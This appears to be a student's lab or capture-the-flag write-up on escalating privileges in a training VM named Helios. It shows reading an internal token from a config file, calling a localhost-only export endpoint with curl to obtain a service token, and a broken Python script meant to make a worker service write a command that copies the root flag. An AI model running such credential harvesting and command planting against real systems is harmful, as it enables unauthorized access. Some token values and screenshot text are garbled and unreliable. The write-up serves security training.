

# Challenge 1: Helios Privilege Escalation Report

## . Environment Setup

The target system was delivered as an Open Virtual Appliance (OVA). We imported the appliance into VirtualBox and established initial access using the provided credentials.

**Platform:** VirtualBox

**User:** student

**Password:** saic


## 2. Reconnaissance

Upon logging in, we performed basic system enumeration to identify the operating system, current privileges, and open network ports.

### System Information

**OS:** Ubuntu (Identified via `lsb_release -a`; likely 14.04 LTS).

**Current Privileges:** The student user has no administrative rights. Running `sudo -l` returned no sudo configuration.



A screenshot of a terminal window titled "Terminal" showing system information for an Ubuntu 14.04 LTS system. The window title bar says "student@saic-VirtualBox: ~". The terminal output shows the following commands and their results:

```
student@saic-VirtualBox:~$ uname -a
Linux saic-VirtualBox 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:
37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
student@saic-VirtualBox:~$ cat /etc/os-release
NAME="Ubuntu"
VERSION="14.04.6 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.6 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
student@saic-VirtualBox:~$
```

# Open Services Enumeration

-netstat -tulnp

## Findings

Port	Service	Access
80	nginx web server	Public
22	SSH	Public
5000	Internal Helios web service	Localhost
9000	Internal Helios worker service	Localhost

The presence of internal-only services suggested hidden attack surfaces.

```
student@saic-VirtualBox:~$ id  
uid=1001(student) gid=1001(student) groups=1001(student)  
student@saic-VirtualBox:~$ groups  
student  
student@saic-VirtualBox:~$ ss - tulnp  
Error: an inet prefix is expected rather than "-".  
Cannot parse dst/src address.  
student@saic-VirtualBox:~$ netstat -tulnp  
(Not all processes could be identified, non-owned process info  
will not be shown, you would have to be root to see it all.)  
Active Internet connections (only servers)  
Proto Recv-Q Send-Q Local Address Foreign Address State  
PID/Program name  
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN  
- 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN  
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN  
- 0 0 127.0.1.1:53 0.0.0.0:* LISTEN  
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN  
- 0 0 127.0.0.1:631 0.0.0.0:* LISTEN  
tcp6 0 0 :::22 ::*: LISTEN  
- 0 0 ::1:631 ::*: LISTEN  
udp 0 0 0.0.0.0:5353 0.0.0.0:* LISTEN  
- 0 0 0.0.0.0:631 0.0.0.0:* LISTEN  
- 0 0 0.0.0.0:28297 0.0.0.0:* LISTEN  
- 0 0 0.0.0.0:37640 0.0.0.0:* LISTEN  
udp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN  
- 0 0 0.0.0.0:68 0.0.0.0:* LISTEN  
udp6 0 0 :::5353 ::*: LISTEN  
- 0 0 :::34637 ::*: LISTEN  
- 0 0 ::1:32181 ::*: LISTEN
```

### 3. Web Service Discovery

We investigated the web server running on **Port 80**.

**Reverse Proxy Architecture:** Accessing `http://localhost:80` revealed the "Helios Internal Dashboard."

**Configuration:** Analysis of `/etc/nginx/sites-enabled/default` confirmed that Nginx is acting as a reverse proxy. It forwards external traffic from port 80 to a backend Python service running locally on `127.0.0.1:5000`.

While we could access the dashboard via the proxy, direct access to the backend (`127.0.0.1:5000`) allows for more granular testing of API endpoints.

### 4. Exploitation: Internal API & Token Extraction

We examined the application source code located at `/opt/helios/web/server.py`. This code review revealed a critical logic flaw and a hidden endpoint.

```
student@saic-VirtualBox:~$ ls -R /opt/helios
/opt/helios:
runtime  web  worker

/opt/helios/runtime:

/opt/helios/web:
server.py
ls: cannot open directory /opt/helios/worker: Permission denied
student@saic-VirtualBox:~$
```

```
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;

mail {
    # See sample authentication script at:
    # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript

    # auth_http localhost/auth.php;
    # pop3_capabilities "TOP" "USER";
    # imap_capabilities "IMAP4rev1" "UIDPLUS";

    server {
        listen      localhost:110;
        protocol   pop3;
        proxy      on;
    }

    server {
        listen      localhost:143;
        protocol   imap;
        proxy      on;
    }
}
tudent@saic-VirtualBox:~$ find /etc/nginx -type f
/etc/nginx/win-utf
/etc/nginx/fastcgi_params
/etc/nginx/sites-available/helios
/etc/nginx/sites-available/default
/etc/nginx/proxy_params
/etc/nginx/koi-win
/etc/nginx/naxsi_core.rules
/etc/nginx/nginx.conf
/etc/nginx/koi-utf
/etc/nginx/naxsi.rules
/etc/nginx/uwsgi_params
/etc/nginx/scgi_params
/etc/nginx/naxsi-ui.conf.1.4.1
/etc/nginx/mime.types
tudent@saic-VirtualBox:~$ grep -R "server{" /etc/nginx
tudent@saic-VirtualBox:~$ grep -R "proxy_pass" /etc/nginx
/etc/nginx/sites-enabled/helios:           proxy_pass http://127.0.0.1:5000;
/etc/nginx/sites-available/helios:         proxy_pass http://127.0.0.1:5000;
/etc/nginx/sites-available/default:       # proxy_pass http://127.0.0.1:80;
```

## Vulnerability Analysis

**1. Hidden Endpoint:** The code contains an endpoint /internal/export.

**2. IP Restriction:** This endpoint is protected by an IP check; it only accepts requests from 127.0.0.1. Since we are already on the box, we satisfy this constraint.

**3. Authentication:** The endpoint requires a specific header: X-Internal-Token.

## Credential Harvesting

We located the required token in the application's configuration file:

• **File Path:** /etc/helios/web.env

• **Extracted Internal Token:**

9877981220e470cf3cf3cfc49e73d98ba5a

INTERNAL\_TOKEN=9877981220e470cf3cf3cfc49e73d98ba5a

## Exploitation (Token Export)

Using curl, we forged a request to the local backend using the extracted internal token to retrieve the higher-privileged Service Token

```
-curl -H "X-Internal-Token: 9877981220e470cf3cfc49e73d98ba5a" http://localhost:5000/internal/export
```

**Result:** The server responded with a JSON object containing the Service Token:

```
> ^C
student@saic-VirtualBox:~$ curl -H "X-Internal-Token: 9877981220e470cf3cfc49e73d98ba5a" http://127.0.0.1:5000/internal/export
SERVICE_TOKEN=313b96f83a85fb32b31ec70d86d5e40c
Used by helios-worker
```

## 5. Lateral Movement: Helios Worker

With the SERVICE\_TOKEN compromised, we targeted the

**Helios Worker** service on **Port 9000**.

### Service Configuration

Reviewing /etc/init/helios-worker.conf revealed that this service runs under the user **ops**. This indicates that compromising this service would allow us to escalate privileges from student to ops.

## Interaction Attempts

We attempted to interface with the worker using the compromised token.

### 1.GET Request:

1. Command: curl http://localhost:9000/
2. Result: **501 Not Implemented**. This suggests the server is active but does not support GET requests on the root path.

### 1.POST Request (Authenticated):

- Command:

```
curl -X POST -H "Authorization: 313b96f83a85fb32b31ec70d86d5e40c"  
http://localhost:9000/command
```

Result: **403 Forbidden**.

## Analysis of Failure

Despite having a valid SERVICE\_TOKEN, the server rejected the request. A 403 error implies the token is recognized, but the specific user or token permissions are insufficient for the /command endpoint. Further enumeration of the worker's source code or database is required to find the correct API method or a higher-privileged token.

## 6. Conclusion


We successfully demonstrated a logical privilege escalation chain within the Helios VM. By exploiting a local configuration file and an internal API endpoint, we compromised the application's authentication mechanism.

### Summary of Findings:

- **Vulnerability:** Insecure storage of secrets in `/etc/helios/web.env` and lack of authentication on local interfaces.
- **Status:** The escalation path from student to the ops service token is confirmed.
- **Blocker:** The final jump to command execution on the Worker service (Port 9000) was blocked by a 403 Forbidden error.
- **Flag:** The root flag (`/root(flag.txt)`) remains unretrieved as root access was not achieved.

## Compromised Artifacts

Token Type	Value
INTERNAL_TOKEN	9877981220e470cf3cf c49e73d98ba5a
SERVICE_TOKEN	313b96f83a85fb32b3 1ec70d86d5e40c



# Alternative Exploitation Attempt: Custom Python Script

**The Logic Behind the Approach (Why I used it):** The Worker Service on Port 9000 is a Python-based application that expects structured data. Using a Python script via the requests library is theoretically the most robust method because:


**1. Header Management:** It allows for precise injection of the X-Service-Token, which is required for authentication.

**2. Syntax Reliability:** Unlike the command line, Python native string handling avoids issues with shell expansion, escaping, and special characters.

**3. JSON Formatting:** It ensures the payload is sent as a properly formatted JSON object (`{"file": "...", "data": "..."}`), which the worker service requires to process the task.

**The Code I Attempted:** I drafted a script intended to authenticate with the SERVICE\_TOKEN and instruct the worker to create a malicious shell script (getflag.sh) in the /opt/helios/runtime/ directory.

**Outcome & Failure Analysis (Why it didn't work):** Despite this being the correct technical approach, the execution failed due to environment and syntax errors



A screenshot of a terminal window titled "student@saic-VirtualBox: ~". The file being edited is "exploit.py". The code is as follows:

```
import requests
url="http://127.0.0.1:9000/"
token="313b96f83a85fb32b31ec70d86d5e40c"
headers={"X-Service-Token": token}

payload={"file": "getflag.sh",
          "data":"cat /root/root.txt > /tmp/flag.txt; chmod 777 /tmp/flag.txt"}

print(f"[*] Sending request to {url}...")
try:
    r=request.post(url ,json=payload, headers=headers)
    print(f"[+] Response Status : {r.status_code}")
    print(f"[+] Response Text: {r.text}")
except Exception as e:
    LibreOffice Impress or:{e}"
```

The terminal shows the script being run, with the output indicating a successful response status of 200 and the response text showing the command being sent. A tooltip from the LibreOffice Impress application is visible, pointing to the exception handling block.

**Conclusion:** While the Python method was logically sound and targeted the correct vulnerability, the constraints of the terminal environment prevented the script from being parsed and executed correctly.

```
student@saic-VirtualBox:~$ cat /etc/nginx/sites-available/helios
server {
    listen 80;

location / {
    proxy_pass http://127.0.0.1:5000;
    proxy_set_header X-Forwarded-For $http_x_forwarded_for;
}
```

```
student@saic-VirtualBox:~$ ls -la /opt/helios/web
total 12
drwxr-xr-x 2 websvc websvc 4096 Jan  2 23:48 .
drwxr-xr-x 5 root  root  4096 Jan  2 01:11 ..
-rw-r--r-- 1 websvc websvc 1561 Jan 14 13:36 server.py
student@saic-VirtualBox:~$
```

```
student@saic-VirtualBox:~$ cat /etc/helios/web.env
INTERNAL_TOKEN=9877981220e470cf3cfc49e73d98ba5a
student@saic-VirtualBox:~$ cat /etc/helios/worker.env
cat: /etc/helios/worker.env: Permission denied
student@saic-VirtualBox:~$
```

```
student@saic-VirtualBox:~$ cat /etc/init/helios-worker.conf
description "Helios Worker"

start on runlevel [2345]
stop on runlevel [016]

setuid ops

exec /usr/bin/python /opt/helios/worker/control.py

student@saic-VirtualBox:~$ ls -la /opt/helios/worker
ls: cannot open directory /opt/helios/worker: Permission denied
student@saic-VirtualBox:~$
```

## Some ss during this challenge

```
student@saic-VirtualBox:~$ netstat -ltnp |grep 5000
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:5000          0.0.0.0:*
LISTEN
-
student@saic-VirtualBox:~$ tail -f /var/log/nginx/access.log
127.0.0.1 - - [17/Jan/2026:14:12:11 +0530] "HEAD / HTTP/1.1" 501 0 "-" "curl/7.35.0"
127.0.0.1 - - [17/Jan/2026:14:37:18 +0530] "GET /admin HTTP/1.1" 404 5 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0"
127.0.0.1 - - [17/Jan/2026:14:37:19 +0530] "GET /favicon.ico HTTP/1.1" 404 5 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0"
127.0.0.1 - - [17/Jan/2026:14:37:26 +0530] "GET /debug HTTP/1.1" 404 5 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0"
127.0.0.1 - - [17/Jan/2026:14:37:31 +0530] "GET /api HTTP/1.1" 404 5 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0"
127.0.0.1 - - [17/Jan/2026:14:37:40 +0530] "GET /health HTTP/1.1" 404 5 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0"
127.0.0.1 - - [17/Jan/2026:15:07:49 +0530] "GET /internal/export HTTP/1.1" 404 5 "-" "curl/7.35.0"
127.0.0.1 - - [17/Jan/2026:15:11:19 +0530] "GET /internal/export HTTP/1.1" 403 5 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0"
127.0.0.1 - - [17/Jan/2026:15:11:25 +0530] "GET /internal/export HTTP/1.1" 403 5 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0"
127.0.0.1 - - [17/Jan/2026:15:11:36 +0530] "GET /internal/export HTTP/1.1" 403 5 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0"
127.0.0.1 - - [17/Jan/2026:15:13:40 +0530] "GET /internal/export HTTP/1.1" 403 5 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0"
student@saic-VirtualBox:~$ curl -i http://localhost:9000
HTTP/1.0 501 Unsupported method ('GET')
Server: BaseHTTP/0.3 Python/2.7.6
Date: Sat, 17 Jan 2026 09:54:46 GMT
Content-Type: text/html
Connection: close

<head>
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code 501.</p>
<p>Message: Unsupported method ('GET').</p>
<p>Error code explanation: 501 = Server does not support this operation.</p>
</body>
student@saic-VirtualBox:~$ tail -f /var/log/syslog | grep helios
tail: cannot open '/var/log/syslog' for reading: Permission denied
student@saic-VirtualBox:~$
```